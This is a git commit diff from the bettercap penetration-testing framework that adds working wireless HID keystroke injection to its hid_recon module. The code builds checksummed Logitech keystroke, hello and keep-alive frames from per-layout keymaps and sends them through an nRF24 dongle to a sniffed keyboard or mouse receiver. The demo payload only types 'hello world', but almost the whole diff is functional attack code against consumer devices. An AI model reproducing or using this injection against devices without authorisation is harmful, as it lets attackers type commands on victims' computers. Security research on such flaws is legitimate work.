basic HID injection is finally working :)

This commit is contained in:
evilsocket 2019-02-20 14:06:10 +01:00
commit d6c406cb73
No known key found for this signature in database
GPG key ID: 1564D7F30393A456
7 changed files with 298 additions and 164 deletions

View file

@ -5,7 +5,7 @@ import (
)
type FrameBuilder interface {
BuildFrames(commands []Command)
BuildFrames([]*Command)
}
var FrameBuilders = map[network.HIDType]FrameBuilder{

View file

@ -1,11 +1,40 @@
package hid_recon
type Frame []byte
import (
"time"
)
type Frame struct {
Data []byte
Delay time.Duration
}
func NewFrame(buf []byte, delay int) Frame {
return Frame{
Data: buf,
Delay: time.Millisecond * time.Duration(delay),
}
}
type Command struct {
Mode byte
HID byte
Char string
Sleep byte
Sleep int
Frames []Frame
}
func (cmd *Command) AddFrame(buf []byte, delay int) {
if cmd.Frames == nil {
cmd.Frames = make([]Frame, 0)
}
cmd.Frames = append(cmd.Frames, NewFrame(buf, delay))
}
func (cmd Command) IsHID() bool {
return cmd.HID != 0 || cmd.Mode != 0
}
func (cmd Command) IsSleep() bool {
return cmd.Sleep > 0
}

View file

@ -0,0 +1,91 @@
package hid_recon
import (
"fmt"
"time"
"github.com/evilsocket/islazy/tui"
"github.com/dustin/go-humanize"
)
func (mod *HIDRecon) isInjecting() bool {
return mod.inInjectMode
}
func (mod *HIDRecon) setInjectionMode(address string) error {
if err := mod.setSniffMode(address); err != nil {
return err
} else if address == "clear" {
mod.inInjectMode = false
} else {
mod.inInjectMode = true
}
return nil
}
func (mod *HIDRecon) doInjection() {
dev, found := mod.Session.HID.Get(mod.sniffAddr)
if found == false {
mod.Warning("could not find HID device %s", mod.sniffAddr)
return
}
builder, found := FrameBuilders[dev.Type]
if found == false {
mod.Warning("HID frame injection is not supported for device type %s", dev.Type.String())
return
}
keyLayout := KeyMapFor(mod.keyLayout)
if keyLayout == nil {
mod.Warning("could not find keymap for '%s' layout", mod.keyLayout)
return
}
str := "hello world from bettercap ^_^"
cmds := make([]*Command, 0)
for _, c := range str {
ch := fmt.Sprintf("%c", c)
if m, found := keyLayout[ch]; found {
cmds = append(cmds, &Command{
Char: ch,
HID: m.HID,
Mode: m.Mode,
})
} else {
mod.Warning("could not find HID command for '%c'", ch)
return
}
}
builder.BuildFrames(cmds)
numFrames := 0
szFrames := 0
for _, cmd := range cmds {
for _, frame := range cmd.Frames {
numFrames++
szFrames += len(frame.Data)
}
}
mod.Info("sending %d (%s) HID frames to %s (type:%s layout:%s) ...",
numFrames,
humanize.Bytes(uint64(szFrames)),
tui.Bold(mod.sniffAddr),
tui.Yellow(dev.Type.String()),
tui.Yellow(mod.keyLayout))
for i, cmd := range cmds {
for j, frame := range cmd.Frames {
if err := mod.dongle.TransmitPayload(frame.Data, 500, 3); err != nil {
mod.Warning("error sending frame #%d of HID command #%d: %v", j, i, err)
}
if frame.Delay > 0 {
mod.Debug("sleeping %dms after frame #%d of command #%d ...", frame.Delay, j, i)
time.Sleep(frame.Delay)
}
}
}
}

View file

@ -46,7 +46,7 @@ var BaseMap = KeyMap{
}
var KeyMaps = map[string]KeyMap{
"be": KeyMap{
"BE": KeyMap{
" ": Command{HID: 44},
"$": Command{HID: 48},
"(": Command{HID: 34},
@ -156,7 +156,7 @@ var KeyMaps = map[string]KeyMap{
"y": Command{HID: 28},
"}": Command{HID: 39, Mode: 64},
},
"fr": KeyMap{
"FR": KeyMap{
" ": Command{HID: 44},
"$": Command{HID: 48},
"(": Command{HID: 34},
@ -254,7 +254,7 @@ var KeyMaps = map[string]KeyMap{
"y": Command{HID: 28},
"}": Command{HID: 46, Mode: 64},
},
"ch": KeyMap{
"CH": KeyMap{
" ": Command{HID: 44},
"$": Command{HID: 49},
"(": Command{HID: 37, Mode: 2},
@ -362,7 +362,7 @@ var KeyMaps = map[string]KeyMap{
"y": Command{HID: 29},
"}": Command{HID: 49, Mode: 64},
},
"dk": KeyMap{
"DK": KeyMap{
"ð": Command{HID: 7, Mode: 64},
" ": Command{HID: 44},
"$": Command{HID: 33, Mode: 64},
@ -476,7 +476,7 @@ var KeyMaps = map[string]KeyMap{
"y": Command{HID: 28},
"}": Command{HID: 39, Mode: 64},
},
"pt": KeyMap{
"PT": KeyMap{
" ": Command{HID: 44},
"$": Command{HID: 33, Mode: 2},
"(": Command{HID: 37, Mode: 2},
@ -583,7 +583,7 @@ var KeyMaps = map[string]KeyMap{
"y": Command{HID: 28},
"}": Command{HID: 39, Mode: 64},
},
"no": KeyMap{
"NO": KeyMap{
"ð": Command{HID: 7, Mode: 64},
" ": Command{HID: 44},
"$": Command{HID: 33, Mode: 64},
@ -697,7 +697,7 @@ var KeyMaps = map[string]KeyMap{
"y": Command{HID: 28},
"}": Command{HID: 39, Mode: 64},
},
"hr": KeyMap{
"HR": KeyMap{
"-": Command{HID: 56},
" ": Command{HID: 44},
"$": Command{HID: 33, Mode: 2},
@ -821,7 +821,7 @@ var KeyMaps = map[string]KeyMap{
"y": Command{HID: 29},
"}": Command{HID: 17, Mode: 64},
},
"ca": KeyMap{
"CA": KeyMap{
" ": Command{HID: 44},
"$": Command{HID: 33, Mode: 2},
"(": Command{HID: 38, Mode: 2},
@ -943,7 +943,7 @@ var KeyMaps = map[string]KeyMap{
"y": Command{HID: 28},
"}": Command{HID: 49, Mode: 64},
},
"de": KeyMap{
"DE": KeyMap{
" ": Command{HID: 44},
"$": Command{HID: 33, Mode: 2},
"(": Command{HID: 37, Mode: 2},
@ -1054,7 +1054,7 @@ var KeyMaps = map[string]KeyMap{
"y": Command{HID: 29},
"}": Command{HID: 39, Mode: 64},
},
"tr": KeyMap{
"TR": KeyMap{
" ": Command{HID: 44},
"$": Command{HID: 33, Mode: 64},
"(": Command{HID: 37, Mode: 2},
@ -1152,7 +1152,7 @@ var KeyMaps = map[string]KeyMap{
"y": Command{HID: 28},
"}": Command{HID: 39, Mode: 64},
},
"it": KeyMap{
"IT": KeyMap{
" ": Command{HID: 44},
"$": Command{HID: 33, Mode: 2},
"(": Command{HID: 37, Mode: 2},
@ -1253,7 +1253,7 @@ var KeyMaps = map[string]KeyMap{
"y": Command{HID: 28},
"}": Command{HID: 48, Mode: 66},
},
"us": KeyMap{
"US": KeyMap{
" ": Command{HID: 44},
"$": Command{HID: 33, Mode: 2},
"(": Command{HID: 38, Mode: 2},
@ -1351,7 +1351,7 @@ var KeyMaps = map[string]KeyMap{
"y": Command{HID: 28},
"}": Command{HID: 48, Mode: 2},
},
"sv": KeyMap{
"SV": KeyMap{
"ð": Command{HID: 7, Mode: 64},
" ": Command{HID: 44},
"$": Command{HID: 33, Mode: 64},
@ -1464,7 +1464,7 @@ var KeyMaps = map[string]KeyMap{
"y": Command{HID: 28},
"}": Command{HID: 39, Mode: 64},
},
"si": KeyMap{
"SI": KeyMap{
"-": Command{HID: 56},
" ": Command{HID: 44},
"$": Command{HID: 33, Mode: 2},
@ -1588,7 +1588,7 @@ var KeyMaps = map[string]KeyMap{
"y": Command{HID: 29},
"}": Command{HID: 17, Mode: 64},
},
"gb": KeyMap{
"GB": KeyMap{
" ": Command{HID: 44},
"$": Command{HID: 33, Mode: 2},
"(": Command{HID: 38, Mode: 2},
@ -1694,7 +1694,7 @@ var KeyMaps = map[string]KeyMap{
"y": Command{HID: 28},
"}": Command{HID: 48, Mode: 2},
},
"br": KeyMap{
"BR": KeyMap{
" ": Command{HID: 44},
"$": Command{HID: 33, Mode: 2},
"(": Command{HID: 38, Mode: 2},
@ -1796,7 +1796,7 @@ var KeyMaps = map[string]KeyMap{
"y": Command{HID: 28},
"}": Command{HID: 49, Mode: 2},
},
"ru": KeyMap{
"RU": KeyMap{
" ": Command{HID: 44},
"$": Command{HID: 33, Mode: 2},
"(": Command{HID: 38, Mode: 2},
@ -1887,7 +1887,7 @@ var KeyMaps = map[string]KeyMap{
"5": Command{HID: 34},
"9": Command{HID: 38},
},
"fi": KeyMap{
"FI": KeyMap{
" ": Command{HID: 44},
"$": Command{HID: 33, Mode: 64},
"(": Command{HID: 37, Mode: 2},
@ -1993,7 +1993,7 @@ var KeyMaps = map[string]KeyMap{
"y": Command{HID: 28},
"}": Command{HID: 39, Mode: 64},
},
"es": KeyMap{
"ES": KeyMap{
" ": Command{HID: 44},
"$": Command{HID: 33, Mode: 2},
"(": Command{HID: 37, Mode: 2},

View file

@ -1,8 +1,54 @@
package hid_recon
const (
frameDelay = 12
)
var (
helloData = []byte{0x00, 0x4F, 0x00, 0x04, 0xB0, 0x10, 0x00, 0x00, 0x00, 0xED}
keepAliveData = []byte{0x00, 0x40, 0x04, 0xB0, 0x0C}
)
type LogitechBuilder struct {
}
func (b LogitechBuilder) BuildFrames(commands []Command) {
func (b LogitechBuilder) frameFor(cmd *Command) []byte {
data := []byte{0, 0xC1, cmd.Mode, cmd.HID, 0, 0, 0, 0, 0, 0}
sz := len(data)
last := sz - 1
sum := byte(0xff)
for i := 0; i < last; i++ {
sum = (sum - data[i]) & 0xff
}
sum = (sum + 1) & 0xff
data[last] = sum
return data
}
func (b LogitechBuilder) BuildFrames(commands []*Command) {
numCommands := len(commands)
for i, cmd := range commands {
if i == 0 {
cmd.AddFrame(helloData, frameDelay)
}
next := (*Command)(nil)
if i < numCommands-1 {
next = commands[i+1]
}
if cmd.IsHID() {
cmd.AddFrame(b.frameFor(cmd), frameDelay)
cmd.AddFrame(keepAliveData, 0)
if next == nil || cmd.HID == next.HID || next.IsSleep() {
cmd.AddFrame(b.frameFor(&Command{}), 0)
}
} else if cmd.IsSleep() {
for i, num := 0, cmd.Sleep/10; i < num; i++ {
cmd.AddFrame(keepAliveData, 10)
}
}
}
}

View file

@ -1,17 +1,13 @@
package hid_recon
import (
"fmt"
"sync"
"time"
"github.com/bettercap/bettercap/modules/utils"
"github.com/bettercap/bettercap/network"
"github.com/bettercap/bettercap/session"
"github.com/bettercap/nrf24"
"github.com/evilsocket/islazy/tui"
)
type HIDRecon struct {
@ -31,7 +27,8 @@ type HIDRecon struct {
pingPayload []byte
inSniffMode bool
inPromMode bool
keyMap string
inInjectMode bool
keyLayout string
selector *utils.ViewSelector
}
@ -51,8 +48,9 @@ func NewHIDRecon(s *session.Session) *HIDRecon {
sniffAddr: "",
inSniffMode: false,
inPromMode: false,
inInjectMode: false,
pingPayload: []byte{0x0f, 0x0f, 0x0f, 0x0f},
keyMap: "us",
keyLayout: "US",
}
mod.AddHandler(session.NewModuleHandler("hid.recon on", "",
@ -83,6 +81,16 @@ func NewHIDRecon(s *session.Session) *HIDRecon {
return mod.Show()
}))
inject := session.NewModuleHandler("hid.inject ADDRESS", `(?i)^hid\.inject ([a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2})$`,
"TODO TODO",
func(args []string) error {
return mod.setInjectionMode(args[0])
})
inject.Complete("hid.inject", s.HIDCompleter)
mod.AddHandler(inject)
mod.selector = utils.ViewSelectorFor(&mod.SessionModule, "hid.show", []string{"mac", "seen"}, "mac desc")
return mod
@ -119,33 +127,6 @@ func (mod *HIDRecon) Configure() error {
return nil
}
func (mod *HIDRecon) setSniffMode(mode string) error {
mod.sniffLock.Lock()
defer mod.sniffLock.Unlock()
mod.inSniffMode = false
if mode == "clear" {
mod.Debug("restoring recon mode")
mod.sniffAddrRaw = nil
mod.sniffAddr = ""
} else {
if err, raw := nrf24.ConvertAddress(mode); err != nil {
return err
} else {
mod.Info("sniffing device %s ...", tui.Bold(mode))
mod.sniffAddr = network.NormalizeHIDAddress(mode)
mod.sniffAddrRaw = raw
}
}
return nil
}
func (mod *HIDRecon) isSniffing() bool {
mod.sniffLock.Lock()
defer mod.sniffLock.Unlock()
return mod.sniffAddrRaw != nil
}
func (mod *HIDRecon) doHopping() {
if mod.inPromMode == false {
if err := mod.dongle.EnterPromiscMode(); err != nil {
@ -153,7 +134,7 @@ func (mod *HIDRecon) doHopping() {
} else {
mod.inSniffMode = false
mod.inPromMode = true
mod.Info("device entered promiscuous mode")
mod.Debug("device entered promiscuous mode")
}
}
@ -170,103 +151,6 @@ func (mod *HIDRecon) doHopping() {
}
}
func (mod *HIDRecon) doPing() {
if mod.inSniffMode == false {
if err := mod.dongle.EnterSnifferModeFor(mod.sniffAddrRaw); err != nil {
mod.Error("error entering sniffer mode for %s: %v", mod.sniffAddr, err)
} else {
mod.inSniffMode = true
mod.inPromMode = false
mod.Info("device entered sniffer mode for %s", mod.sniffAddr)
}
}
if time.Since(mod.lastPing) >= mod.pingPeriod {
// try on the current channel first
if err := mod.dongle.TransmitPayload(mod.pingPayload, 250, 1); err != nil {
for mod.channel = 1; mod.channel <= nrf24.TopChannel; mod.channel++ {
if err := mod.dongle.SetChannel(mod.channel); err != nil {
mod.Error("error setting channel %d: %v", mod.channel, err)
} else if err = mod.dongle.TransmitPayload(mod.pingPayload, 250, 1); err == nil {
mod.lastPing = time.Now()
return
}
}
}
}
dev, found := mod.Session.HID.Get(mod.sniffAddr)
if found == false {
mod.Warning("could not find HID device %s", mod.sniffAddr)
return
}
builder, found := FrameBuilders[dev.Type]
if found == false {
mod.Warning("HID frame injection is not supported for device type %s", dev.Type.String())
return
}
str := "hello world"
cmds := make([]Command, 0)
keyMap := KeyMapFor(mod.keyMap)
if keyMap == nil {
mod.Warning("could not find keymap for '%s' layout", mod.keyMap)
return
}
for _, c := range str {
ch := fmt.Sprintf("%c", c)
if m, found := keyMap[ch]; found {
cmds = append(cmds, Command{
Char: ch,
HID: m.HID,
Mode: m.Mode,
})
} else {
mod.Warning("could not find HID command for '%c'", ch)
return
}
}
builder.BuildFrames(cmds)
mod.Info("injecting %d HID commands ...", len(cmds))
numFrames := 0
szFrames := 0
for i, cmd := range cmds {
for j, frame := range cmd.Frames {
numFrames++
if err := mod.dongle.TransmitPayload(frame, 250, 1); err != nil {
mod.Error("error sending frame #%d of HID command #%d: %v", j, i, err)
return
} else if cmd.Sleep > 0 {
szFrames += len(frame)
mod.Debug("sleeping %dms after frame #%d of command #%d ...", cmd.Sleep, j, i)
time.Sleep(time.Duration(cmd.Sleep) * time.Millisecond)
}
}
}
mod.Info("send %d frames for %d bytes total", numFrames, szFrames)
}
func (mod *HIDRecon) onSniffedBuffer(buf []byte) {
if sz := len(buf); sz > 0 && buf[0] == 0x00 {
buf = buf[1:]
mod.Debug("sniffed payload %x for %s", buf, mod.sniffAddr)
if dev, found := mod.Session.HID.Get(mod.sniffAddr); found {
dev.LastSeen = time.Now()
dev.AddPayload(buf)
dev.AddChannel(mod.channel)
} else {
mod.Warning("got a payload for unknown device %s", mod.sniffAddr)
}
}
}
func (mod *HIDRecon) onDeviceDetected(buf []byte) {
if sz := len(buf); sz >= 5 {
addr, payload := buf[0:5], buf[5:]
@ -274,17 +158,20 @@ func (mod *HIDRecon) onDeviceDetected(buf []byte) {
if isNew, dev := mod.Session.HID.AddIfNew(addr, mod.channel, payload); isNew {
// sniff for a while in order to detect the device type
go func() {
defer func() {
mod.sniffLock.Unlock()
mod.setSniffMode("clear")
}()
if err := mod.setSniffMode(dev.Address); err == nil {
mod.Debug("detecting device type ...")
defer func() {
mod.sniffLock.Unlock()
mod.setSniffMode("clear")
}()
// make sure nobody can sniff to another
// address until we're not done here...
mod.sniffLock.Lock()
mod.setSniffMode(dev.Address)
// make sure nobody can sniff to another
// address until we're not done here...
mod.sniffLock.Lock()
time.Sleep(mod.sniffPeriod)
time.Sleep(mod.sniffPeriod)
} else {
mod.Warning("error while sniffing %s: %v", dev.Address, err)
}
}()
}
}
@ -307,6 +194,12 @@ func (mod *HIDRecon) Start() error {
mod.doHopping()
}
if mod.isInjecting() {
mod.doInjection()
mod.setInjectionMode("clear")
continue
}
buf, err := mod.dongle.ReceivePayload()
if err != nil {
mod.Warning("error receiving payload from channel %d: %v", mod.channel, err)

View file

@ -0,0 +1,75 @@
package hid_recon
import (
"time"
"github.com/bettercap/bettercap/network"
"github.com/bettercap/nrf24"
"github.com/evilsocket/islazy/tui"
)
func (mod *HIDRecon) isSniffing() bool {
return mod.sniffAddrRaw != nil
}
func (mod *HIDRecon) setSniffMode(mode string) error {
mod.sniffLock.Lock()
defer mod.sniffLock.Unlock()
mod.inSniffMode = false
if mode == "clear" {
mod.Debug("restoring recon mode")
mod.sniffAddrRaw = nil
mod.sniffAddr = ""
} else {
if err, raw := nrf24.ConvertAddress(mode); err != nil {
return err
} else {
mod.Debug("sniffing device %s ...", tui.Bold(mode))
mod.sniffAddr = network.NormalizeHIDAddress(mode)
mod.sniffAddrRaw = raw
}
}
return nil
}
func (mod *HIDRecon) doPing() {
if mod.inSniffMode == false {
if err := mod.dongle.EnterSnifferModeFor(mod.sniffAddrRaw); err != nil {
mod.Error("error entering sniffer mode for %s: %v", mod.sniffAddr, err)
} else {
mod.inSniffMode = true
mod.inPromMode = false
mod.Debug("device entered sniffer mode for %s", mod.sniffAddr)
}
}
if time.Since(mod.lastPing) >= mod.pingPeriod {
// try on the current channel first
if err := mod.dongle.TransmitPayload(mod.pingPayload, 250, 1); err != nil {
for mod.channel = 1; mod.channel <= nrf24.TopChannel; mod.channel++ {
if err := mod.dongle.SetChannel(mod.channel); err != nil {
mod.Error("error setting channel %d: %v", mod.channel, err)
} else if err = mod.dongle.TransmitPayload(mod.pingPayload, 250, 1); err == nil {
mod.lastPing = time.Now()
return
}
}
}
}
}
func (mod *HIDRecon) onSniffedBuffer(buf []byte) {
if sz := len(buf); sz > 0 && buf[0] == 0x00 {
buf = buf[1:]
mod.Debug("sniffed payload %x for %s", buf, mod.sniffAddr)
if dev, found := mod.Session.HID.Get(mod.sniffAddr); found {
dev.LastSeen = time.Now()
dev.AddPayload(buf)
dev.AddChannel(mod.channel)
} else {
mod.Warning("got a payload for unknown device %s", mod.sniffAddr)
}
}
}